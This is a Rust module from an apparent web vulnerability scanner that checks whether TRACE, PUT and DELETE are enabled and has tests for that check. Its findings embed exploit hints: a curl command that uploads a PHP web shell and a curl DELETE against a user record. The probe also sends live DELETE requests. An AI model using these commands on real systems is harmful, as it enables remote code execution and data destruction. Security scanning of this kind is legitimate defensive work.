use gossan_core::Target;
use reqwest::Client;
use secfinding::{Evidence, Finding, Severity};
const PROBE_PATHS: &[&str] = &[
"/",
"/api",
"/api/v1",
"/upload",
"/files",
"/data",
"/api/v1/users",
"/api/v1/files",
"/admin",
];
fn delete_status_indicates_enabled(status: u16) -> bool {
matches!(status, 200 | 202 | 204)
}
pub async fn probe(client: &Client, target: &Target) -> anyhow::Result<Vec<Finding>> {
let Target::Web(asset) = target else {
return Ok(vec![]);
};
let base = asset.url.as_str().trim_end_matches('/');
let mut findings = Vec::new();
let mut reported_put = false;
let mut reported_delete = false;
let mut reported_trace = false;
for path in PROBE_PATHS {
let url = format!("{}{}", base, path);
let mut header_parse_failed = false;
let options_allow =
if let Ok(resp) = client.request(reqwest::Method::OPTIONS, &url).send().await {
match resp
.headers()
.get("allow")
.or_else(|| resp.headers().get("access-control-allow-methods"))
{
Some(v) => match v.to_str() {
Ok(s) => s.to_uppercase(),
Err(e) => {
header_parse_failed = true;
tracing::warn!(
"OPTIONS Allow/Access-Control-Allow-Methods not valid UTF-8 at {}: {}; probing dangerous methods anyway",
url, e
);
String::new()
}
},
None => String::new(),
}
} else {
tracing::warn!(
"OPTIONS probe send failed at {}; probing dangerous methods anyway",
url
);
String::new()
};
if !reported_trace && (options_allow.contains("TRACE") || header_parse_failed || *path == "/") {
match client
.request(reqwest::Method::TRACE, &url)
.header("X-Gossan-Probe", "xst-test")
.send()
.await
{
Err(e) => {
tracing::warn!(url = %url, error = %e, "TRACE probe send failed");
}
Ok(resp) => {
let status = resp.status().as_u16();
let body = gossan_core::net::bounded_text(resp, crate::MAX_BODY_BYTES)
.await?;
if (200..=299).contains(&status)
&& (body.contains("X-Gossan-Probe") || body.to_uppercase().contains("TRACE"))
{
reported_trace = true;
gossan_core::try_push_finding(
crate::misconfig_finding(
target,
Severity::Low,
"HTTP TRACE method enabled, cross-site tracing (XST)",
format!(
"{} responds to TRACE with HTTP {}. \
TRACE echoes all request headers including cookies and \
Authorization. Combined with XSS, an attacker can read \
HttpOnly cookies (XST attack). Disable TRACE on the server.",
url, status
),
)
.evidence(Evidence::HttpResponse {
status,
headers: vec![("allow".into(), options_allow.clone().into())],
body_excerpt: Some(body.chars().take(crate::MAX_BODY_EXCERPT_CHARS).collect::<String>().into()),
})
.tag("http-method")
.tag("xst")
.tag("web")
.exploit_hint(format!(
"curl -s -X TRACE '{}' -H 'Cookie: session=victim_token'",
url
)),
&mut findings,
);
}
}
}
}
if !reported_put && (options_allow.contains("PUT") || header_parse_failed) {
let put_url = format!(
"{}{}/gossan-method-probe.txt",
base,
path.trim_end_matches('/')
);
match client
.request(reqwest::Method::PUT, &put_url)
.header("content-type", "text/plain")
.body("gossan-method-probe")
.send()
.await
{
Err(e) => {
tracing::warn!(url = %put_url, error = %e, "PUT probe send failed");
}
Ok(resp) => {
let status = resp.status().as_u16();
if matches!(status, 200 | 201 | 204) {
reported_put = true;
gossan_core::try_push_finding(crate::misconfig_finding(target, Severity::Critical,
format!("HTTP PUT enabled, arbitrary file write at {}", path),
format!("{} accepted an HTTP PUT request (HTTP {}). \
An attacker can upload arbitrary files, including web shells. \
to the server, potentially achieving Remote Code Execution.", put_url, status))
.evidence(Evidence::HttpResponse {
status,
headers: vec![("allow".into(), options_allow.clone().into())],
body_excerpt: None,
})
.tag("http-method").tag("file-upload").tag("rce")
.exploit_hint(format!(
"# Upload a web shell:\ncurl -s -X PUT '{}webshell.php' \\\n \
-H 'Content-Type: application/x-httpd-php' \\\n \
-d '<?php system($_GET[\"cmd\"]); ?>'", &put_url.trim_end_matches("gossan-method-probe.txt"))), &mut findings);
}
}
}
}
if !reported_delete && (options_allow.contains("DELETE") || header_parse_failed) {
let del_url = format!("{}{}", base, path);
match client
.request(reqwest::Method::DELETE, &del_url)
.send()
.await
{
Err(e) => {
tracing::warn!(url = %del_url, error = %e, "DELETE probe send failed");
}
Ok(resp) => {
let status = resp.status().as_u16();
if delete_status_indicates_enabled(status) {
reported_delete = true;
gossan_core::try_push_finding(crate::misconfig_finding(target, Severity::High,
format!("HTTP DELETE method accepted at {}", path),
format!("{} accepted HTTP DELETE (HTTP {}). \
Unauthenticated DELETE on API endpoints allows data destruction. \
bulk record removal, account deletion, or cascading data loss.", del_url, status))
.evidence(Evidence::HttpResponse {
status,
headers: vec![("allow".into(), options_allow.clone().into())],
body_excerpt: None,
})
.tag("http-method").tag("data-destruction").tag("web")
.exploit_hint(format!("curl -s -X DELETE '{}/api/v1/users/1'", base)), &mut findings);
}
}
}
}
if reported_put && reported_delete && reported_trace {
break;
}
}
Ok(findings)
}
#[cfg(test)]
mod tests {
use super::*;
use gossan_core::testkit::web_target;
use reqwest::Client;
use wiremock::{matchers::{method, path}, Mock, MockServer, ResponseTemplate};
#[test]
fn probe_paths_include_root() {
assert!(PROBE_PATHS.contains(&"/"));
}
#[test]
fn probe_paths_include_upload() {
assert!(PROBE_PATHS.contains(&"/upload"));
}
#[test]
fn probe_paths_include_admin() {
assert!(PROBE_PATHS.contains(&"/admin"));
}
#[test]
fn probe_paths_count_is_reasonable() {
assert!(
PROBE_PATHS.len() >= 5,
"expected >=5 probe paths, got {}",
PROBE_PATHS.len()
);
}
#[test]
fn probe_paths_include_api_v1_users() {
assert!(PROBE_PATHS.contains(&"/api/v1/users"));
}
#[test]
fn delete_404_is_not_proof_of_enabled_method() {
assert!(!delete_status_indicates_enabled(404));
}
#[test]
fn delete_only_200_202_204_count_as_accepted() {
assert!(delete_status_indicates_enabled(200));
assert!(delete_status_indicates_enabled(202));
assert!(delete_status_indicates_enabled(204));
assert!(!delete_status_indicates_enabled(405));
assert!(!delete_status_indicates_enabled(501));
assert!(!delete_status_indicates_enabled(500));
}
#[tokio::test]
async fn delete_404_on_allowed_path_stays_silent() {
let server = MockServer::start().await;
Mock::given(method("OPTIONS"))
.and(path("/"))
.respond_with(
ResponseTemplate::new(204)
.insert_header("allow", "GET, POST, DELETE, OPTIONS"),
)
.mount(&server)
.await;
Mock::given(method("DELETE"))
.and(path("/"))
.respond_with(ResponseTemplate::new(404))
.mount(&server)
.await;
let client = Client::new();
let target = web_target(&format!("{}/", server.uri()));
let findings = crate::methods::probe(&client, &target).await.unwrap();
assert!(
findings.iter().all(|f| !f.title().to_lowercase().contains("delete")),
"404 DELETE must not produce a DELETE-method finding"
);
}
#[tokio::test]
async fn delete_202_on_allowed_path_fires_finding() {
let server = MockServer::start().await;
Mock::given(method("OPTIONS"))
.and(path("/"))
.respond_with(
ResponseTemplate::new(204)
.insert_header("allow", "GET, POST, DELETE, OPTIONS"),
)
.mount(&server)
.await;
Mock::given(method("DELETE"))
.and(path("/"))
.respond_with(ResponseTemplate::new(202))
.mount(&server)
.await;
let client = Client::new();
let target = web_target(&format!("{}/", server.uri()));
let findings = crate::methods::probe(&client, &target).await.unwrap();
assert!(
findings.iter().any(|f| f.title().to_lowercase().contains("delete")),
"HTTP 202 DELETE should be reported as accepted method"
);
}
}